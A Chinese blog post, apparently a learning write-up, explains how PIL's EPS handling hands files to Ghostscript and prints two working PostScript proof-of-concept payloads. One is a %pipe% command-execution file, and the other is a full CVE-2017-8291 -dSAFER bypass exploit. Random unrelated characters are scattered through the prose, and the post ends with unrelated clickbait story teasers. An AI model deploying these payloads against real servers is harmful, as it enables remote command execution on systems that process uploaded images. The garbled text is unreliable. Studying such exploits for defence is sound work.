PIL利用ghostscript漏洞

前言

基本是跟著nearg1e大神的文章走的骂际,自己比較菜尖殃,只能膜膜大神了
https://github.com/neargle/PIL-RCE-By-GhostButt

環(huán)境

Ubuntu16.04,PIL1.1.7劲绪,ghostscript-9.19(version <= 9.21)

分析

首先是一個(gè)簡(jiǎn)單的Demo

from PIL import Image
def get_img_size(filepath=""):
    if filepath:
        img = Image.open(filepath)
        img.load()
        return img.size
    return (0,0)

這個(gè)非常簡(jiǎn)單,就是獲取圖片size的Demo,這里調(diào)用了PIL里Image的Image.open和Image.load函數(shù)洪燥,加載圖片
進(jìn)下源碼,看open函數(shù)里乳乌,由于這里我已經(jīng)了解這個(gè)漏洞大概了捧韵,我直接看open函數(shù)對(duì)格式的判斷吧

for i in ID:
        try:
            factory, accept = OPEN[i]
            if not accept or accept(prefix):
                fp.seek(0)
                return factory(fp, filename)
        except (SyntaxError, IndexError, TypeError):
            pass

看到accept(prefix),這個(gè)prefix是前綴,文件頭汉操,也就是說(shuō)這里應(yīng)用了文件頭再来,我們?cè)俑逻@個(gè)accept

#EpsImagePlugin
def _accept(prefix):
    return prefix[:4] == "%!PS" or i32(prefix) == 0xC6D3D0C5L
#GifImagePlugin
def _accept(prefix):
    return prefix[:6] in ["GIF87a", "GIF89a"]
#CurImagePlugin
def _accept(prefix):
    return prefix[:4] == "\0\0\2\0"

這樣的還有很多晓殊,也就是說(shuō)筛武,我們使用的后綴不要緊桨吊,重要的是文件頭表示這是什么文件孟岛,我們?cè)囈幌拢?br> 首先找一張普通圖吧,這張圖片是png格式梭伐,我改成jpg痹雅,然后用腳本走下。

from PIL import Image
def show(filename):
    i=Image.open(filename)
    print i.format
show("./123.jpg")
[ 改后綴]

那么我改改文件頭呢糊识?


是可以的绩社,做到讓PIL懵逼
我跟著nearg1e大神的思路走了下就是閱讀EpsImagePlugin的源碼
load之后,我們走向EpsImagePlugin

command = ["gs",
               "-q",                    # quite mode
               "-g%dx%d" % size,        # set output geometry (pixels)
               "-dNOPAUSE -dSAFER",     # don't pause between pages, safe mode
               "-sDEVICE=ppmraw",       # ppm driver
               "-sOutputFile=%s" % file,# output file
               "- >/dev/null 2>/dev/null"]

命令是gs -q -g%dx%d -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=%s - >/dev/null 2>/dev/null

try:
        gs = os.popen(command, "w")
        # adjust for image origin
        if bbox[0] != 0 or bbox[1] != 0:
            gs.write("%d %d translate\n" % (-bbox[0], -bbox[1]))
        fp.seek(offset)
        while length > 0:
            s = fp.read(8192)
            if not s:
                break
            length = length - len(s)
            gs.write(s)
        status = gs.close()
        if status:
            raise IOError("gs failed (status %d)" % status)
        im = Image.core.open_ppm(file)
    finally:
        try: os.unlink(file)
        except: pass

這里就是dSAFER參數(shù)赂苗,這個(gè)參數(shù)限制了我們對(duì)文件刪除愉耙、重命名以及命令執(zhí)行的行為,但是牛逼的 GhostButt CVE-2017-8291 剛好就是 dSAFER 參數(shù)的 bypass拌滋。但是朴沿,這個(gè)漏洞,我一個(gè)web狗表示很糾結(jié)败砂,于是赌渣,我先進(jìn)行下不帶dSAFER的嘗試

不帶dSAFER的嘗試

我們直接把源碼里的dSAFER注釋掉,然后就可以了
不帶dSAFER的使用昌犹,發(fā)現(xiàn)一切比較舒暢坚芜,我們直接利用gs的pipe通道就可以直接命令執(zhí)行

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

currentdevice null false mark /OutputFile (%pipe%echo "hahaha" > /home/web/2333)")
.putdeviceparams
1 true .outputpage
0 0 .quit

我們使用這個(gè)包裝過(guò)的poc,我們可以改為png后綴斜姥,進(jìn)行image.load操作鸿竖,發(fā)現(xiàn)沒(méi)毛病。之后就直接進(jìn)行cve吧

GhostButt CVE-2017-8291

這讓我一個(gè)web狗很糾結(jié)啊铸敏,表示二進(jìn)制很渣啊缚忧。
所以,我就直接用msf吧杈笔,生成了如下poc

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100


/size_from  10000      def
/size_step    500      def
/size_to   65000      def
/enlarge    1000      def

%/bigarr 65000 array def

0
size_from size_step size_to {
    pop
    1 add
} for

/buffercount exch def

/buffersizes buffercount array def


0
size_from size_step size_to {
    buffersizes exch 2 index exch put
    1 add
} for
pop

/buffers buffercount array def

0 1 buffercount 1 sub {
    /ind exch def
    buffersizes ind get /cursize exch def
    cursize string /curbuf exch def
    buffers ind curbuf put
    cursize 16 sub 1 cursize 1 sub {
        curbuf exch 255 put
    } for
} for


/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

enlarge array aload

{
    .eqproc
    buffersearchvars 0 buffersearchvars 0 get 1 add put
    buffersearchvars 1 0 put
    buffersearchvars 2 0 put
    buffercount {
        buffers buffersearchvars 1 get get
        buffersizes buffersearchvars 1 get get
        16 sub get
        254 le {
            buffersearchvars 2 1 put
            buffersearchvars 3 buffers buffersearchvars 1 get get put
            buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
        } if
        buffersearchvars 1 buffersearchvars 1 get 1 add put
    } repeat

    buffersearchvars 2 get 1 ge {
        exit
    } if
    %(.) print
} loop

.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
put


buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put


currentdevice null false mark /OutputFile (%pipe%echo "**" > /root/flag)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

但是很糾結(jié)的是不行啊闪水。
于是我又在9.21版本試了一次,結(jié)果發(fā)現(xiàn)蒙具,可以了敦第。

也就是說(shuō)這個(gè)cve只適用于9.21版本的,所以兄弟們注意了店量。

后記

由于自己不是pwn大神,所以這個(gè)cve就先放一下吧鞠呈,以后功力漲了再說(shuō)融师,先把web端搞好。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末蚁吝,一起剝皮案震驚了整個(gè)濱河市旱爆,隨后出現(xiàn)的幾起案子舀射,更是在濱河造成了極大的恐慌,老刑警劉巖怀伦,帶你破解...
    沈念sama閱讀 212,185評(píng)論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件脆烟,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡房待,警方通過(guò)查閱死者的電腦和手機(jī)邢羔,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,445評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門(mén),熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)桑孩,“玉大人拜鹤,你說(shuō)我怎么就攤上這事×鹘罚” “怎么了敏簿?”我有些...
    開(kāi)封第一講書(shū)人閱讀 157,684評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)宣虾。 經(jīng)常有香客問(wèn)我惯裕,道長(zhǎng),這世上最難降的妖魔是什么绣硝? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,564評(píng)論 1 284
  • 正文 為了忘掉前任蜻势,我火速辦了婚禮,結(jié)果婚禮上域那,老公的妹妹穿的比我還像新娘咙边。我一直安慰自己,他們只是感情好次员,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,681評(píng)論 6 386
  • 文/花漫 我一把揭開(kāi)白布败许。 她就那樣靜靜地躺著,像睡著了一般淑蔚。 火紅的嫁衣襯著肌膚如雪市殷。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 49,874評(píng)論 1 290
  • 那天刹衫,我揣著相機(jī)與錄音醋寝,去河邊找鬼。 笑死带迟,一個(gè)胖子當(dāng)著我的面吹牛音羞,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播仓犬,決...
    沈念sama閱讀 39,025評(píng)論 3 408
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼嗅绰,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起窘面,我...
    開(kāi)封第一講書(shū)人閱讀 37,761評(píng)論 0 268
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤翠语,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后财边,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體肌括,經(jīng)...
    沈念sama閱讀 44,217評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,545評(píng)論 2 327
  • 正文 我和宋清朗相戀三年酣难,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了谍夭。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,694評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡鲸鹦,死狀恐怖慧库,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情馋嗜,我是刑警寧澤齐板,帶...
    沈念sama閱讀 34,351評(píng)論 4 332
  • 正文 年R本政府宣布,位于F島的核電站葛菇,受9級(jí)特大地震影響甘磨,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜眯停,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,988評(píng)論 3 315
  • 文/蒙蒙 一济舆、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧莺债,春花似錦滋觉、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,778評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至措拇,卻和暖如春我纪,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背丐吓。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,007評(píng)論 1 266
  • 我被黑心中介騙來(lái)泰國(guó)打工浅悉, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人券犁。 一個(gè)月前我還...
    沈念sama閱讀 46,427評(píng)論 2 360
  • 正文 我出身青樓术健,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親粘衬。 傳聞我的和親對(duì)象是個(gè)殘疾皇子苛坚,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,580評(píng)論 2 349

推薦閱讀更多精彩內(nèi)容